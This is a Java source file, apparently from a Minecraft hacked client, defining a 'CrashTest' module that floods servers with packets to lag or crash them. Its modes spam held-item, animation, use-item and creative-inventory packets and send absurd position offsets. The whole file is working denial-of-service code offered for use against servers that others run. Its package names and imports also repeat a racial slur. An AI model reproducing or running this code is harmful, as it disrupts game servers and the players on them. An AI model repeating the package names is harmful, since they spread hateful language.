package black.nigger.rusherhack.Modules;

import java.util.ArrayList;
import java.util.Objects;

import org.lwjgl.input.Keyboard;

import com.darkmagician6.eventapi.EventManager;
import com.stringer.annotations.HideAccess;
import com.stringer.annotations.StringEncryption;

import black.nigger.rusherhack.Wwefan;
import black.nigger.rusherhack.Module.Category;
import black.nigger.rusherhack.Module.Module;
import black.nigger.rusherhack.utils.Wrapper;
import de.Hero.settings.Setting;
import net.minecraft.init.Blocks;
import net.minecraft.item.Item;
import net.minecraft.item.ItemStack;
import net.minecraft.network.play.client.CPacketAnimation;
import net.minecraft.network.play.client.CPacketCreativeInventoryAction;
import net.minecraft.network.play.client.CPacketHeldItemChange;
import net.minecraft.network.play.client.CPacketPlayer;
import net.minecraft.network.play.client.CPacketPlayerTryUseItem;
import net.minecraft.util.text.TextComponentString;

@HideAccess
@StringEncryption
public class CrashTest extends Module {

	public static boolean active;
	int loop;

	public CrashTest() {
		super("CrashTest", "CrashTest", "", Keyboard.KEY_NONE, Category.World, -1);
	}

	public void setup() {
		ArrayList<String> modes = new ArrayList();
		modes.add("Lag 1");
		modes.add("Lag 2");
		modes.add("Lag 3");
		modes.add("Lag Shield");
		modes.add("Lag Vanilla");
		modes.add("Lag Creative");
		Wwefan.setmgr.rSetting(new Setting("LagIndex", this, 300, 0, 1000, false));
		Wwefan.setmgr.rSetting(new Setting("LagLoop", this, 100000, 50000, 1000000, false));
		Wwefan.setmgr.rSetting(new Setting("Lag", this, "Lag 1", modes));
	}

	public void onUpdate() {
		if (!this.getState()) {
			return;
		}

		// Wrapper.mc.player.connection.sendPacket(new CPacketPlayer.

		if (Wwefan.setmgr.getSettingByName("Lag").getValString().equalsIgnoreCase("Lag 1")) {
			++this.loop;
			if (this.loop > Wwefan.setmgr.getSettingByName("LagLoop").getValDouble()) {
				int index = 0;
				while (index < Wwefan.setmgr.getSettingByName("LagIndex").getValDouble()) {
					Wrapper.mc.player.connection.sendPacket(new CPacketHeldItemChange(2));
					Wrapper.mc.player.connection.sendPacket(new CPacketPlayer(true));
					Wrapper.mc.player.connection.sendPacket(new CPacketHeldItemChange(2));
					Wrapper.mc.player.connection.sendPacket(new CPacketPlayer(true));
					++index;
				}
				this.loop = 0;
				Wrapper.mc.player.sendMessage(new TextComponentString("Sending Crash Packets"));
			}
		}

		if (Wwefan.setmgr.getSettingByName("Lag").getValString().equalsIgnoreCase("Lag 2")) {
		}

		if (Wwefan.setmgr.getSettingByName("Lag").getValString().equalsIgnoreCase("Lag 3")) {
			++this.loop;
			if (this.loop > 6) {
				int spam = 0;
				while (spam < 100000) {
					Wrapper.mc.player.connection.sendPacket(new CPacketAnimation());
					++spam;
				}
				this.loop = 0;
				Wrapper.mc.player.sendMessage(new TextComponentString("Sending packets..."));
			}
		}

		if (Wwefan.setmgr.getSettingByName("Lag").getValString().equalsIgnoreCase("Lag Shield")) {
			++this.loop;
			if (this.loop > 300) {
				int spam = 0;
				while (spam < 10000) {
					Wrapper.mc.player.connection.sendPacket(new CPacketPlayerTryUseItem());
					++spam;
				}
				this.loop = 0;
				Wrapper.mc.player.sendMessage(new TextComponentString("Sending packets..."));
			}
		}

	}

	public void onEnable() {
		EventManager.register(this);
		if (Wwefan.setmgr.getSettingByName("Lag").getValString().equalsIgnoreCase("Lag 1")) {
			active = true;
			int index = 0;
			while (index < Wwefan.setmgr.getSettingByName("LagIndex").getValDouble()) {
				Wrapper.mc.player.connection.sendPacket(new CPacketHeldItemChange(2));
				Wrapper.mc.player.connection.sendPacket(new CPacketPlayer(true));
				Wrapper.mc.player.connection.sendPacket(new CPacketHeldItemChange(2));
				Wrapper.mc.player.connection.sendPacket(new CPacketPlayer(true));
				++index;
			}
			Wrapper.mc.player.sendMessage(new TextComponentString("Trying to crash with Item Switch method"));
		}

		if (Wwefan.setmgr.getSettingByName("Lag").getValString().equalsIgnoreCase("Lag 2")) {
			active = true;
			int spam = 0;
			while (spam < 10000) {
				Wrapper.mc.player.connection.sendPacket(new CPacketAnimation());
				++spam;
			}
			Wrapper.mc.player.sendMessage(new TextComponentString("Trying to lag with method 2"));
		}

		if (Wwefan.setmgr.getSettingByName("Lag").getValString().equalsIgnoreCase("Lag 3")) {
			active = true;
			int spam = 0;
			while (spam < 200000) {
				Wrapper.mc.player.connection.sendPacket(new CPacketAnimation());
				++spam;
			}
			Wrapper.mc.player.sendMessage(new TextComponentString("Trying to lag with method 3"));
		}

		if (Wwefan.setmgr.getSettingByName("Lag").getValString().equalsIgnoreCase("Lag Vanilla")) {
			active = true;
			int index = 0;
			while (index < 999) {
				Wrapper.mc.player.connection
						.sendPacket(new CPacketPlayer.Position(Wrapper.mc.player.posX + (double) (99999 * index),
								Wrapper.mc.player.getEntityBoundingBox().minY + (double) (99999 * index),
								Wrapper.mc.player.posZ + (double) (99999 * index), true));
				++index;
			}
			Wrapper.mc.player.sendMessage(new TextComponentString("Trying to crash with Vanilla method"));
			Wrapper.mc.player.sendMessage(new TextComponentString("Only works on vanilla servers"));
		}

		if (Wwefan.setmgr.getSettingByName("Lag").getValString().equalsIgnoreCase("Lag Creative")) {
			active = true;
			Wrapper.mc.player.sendMessage(new TextComponentString("Trying to crash with Creative method"));
			Wrapper.mc.player.sendMessage(new TextComponentString("Make sure you are in creative"));
			ItemStack plant = new ItemStack(Blocks.BEDROCK);
			plant.setItemDamage(69);
			int index = 0;
			while (index < 9) {
				ItemStack is = Wrapper.mc.player.inventory.getStackInSlot(index);
				if (Objects.nonNull(is) && Item.getIdFromItem(is.getItem()) == 175 && is.getItemDamage() == 1337
						&& is.getMaxStackSize() != 64) {
					Wrapper.mc.player.connection.sendPacket(
							new CPacketCreativeInventoryAction(Wrapper.mc.player.inventory.currentItem + 36, plant));
					Wrapper.mc.player.inventory.setInventorySlotContents(Wrapper.mc.player.inventory.currentItem,
							plant);
				}
				++index;
			}
			if (Objects.isNull(Wrapper.mc.player.getHeldItem(null))) {
				Wrapper.mc.player.connection.sendPacket(
						new CPacketCreativeInventoryAction(Wrapper.mc.player.inventory.currentItem + 36, plant));
				Wrapper.mc.player.inventory.setInventorySlotContents(Wrapper.mc.player.inventory.currentItem, plant);
			}
			index = 0;
			while (index < 9) {
				if (Objects.isNull(Wrapper.mc.player.inventory.getStackInSlot(index))
						|| Item.getIdFromItem(Wrapper.mc.player.inventory.getStackInSlot(index).getItem()) == 0) {
					Wrapper.mc.player.connection.sendPacket(new CPacketCreativeInventoryAction(index + 36, plant));
				}
				++index;
			}
			Wrapper.mc.player.connection.sendPacket(
					new CPacketCreativeInventoryAction(Wrapper.mc.player.inventory.currentItem + 36, plant));
		}
	}

	public void onDisable() {
		EventManager.unregister(this);
		active = false;
	}
}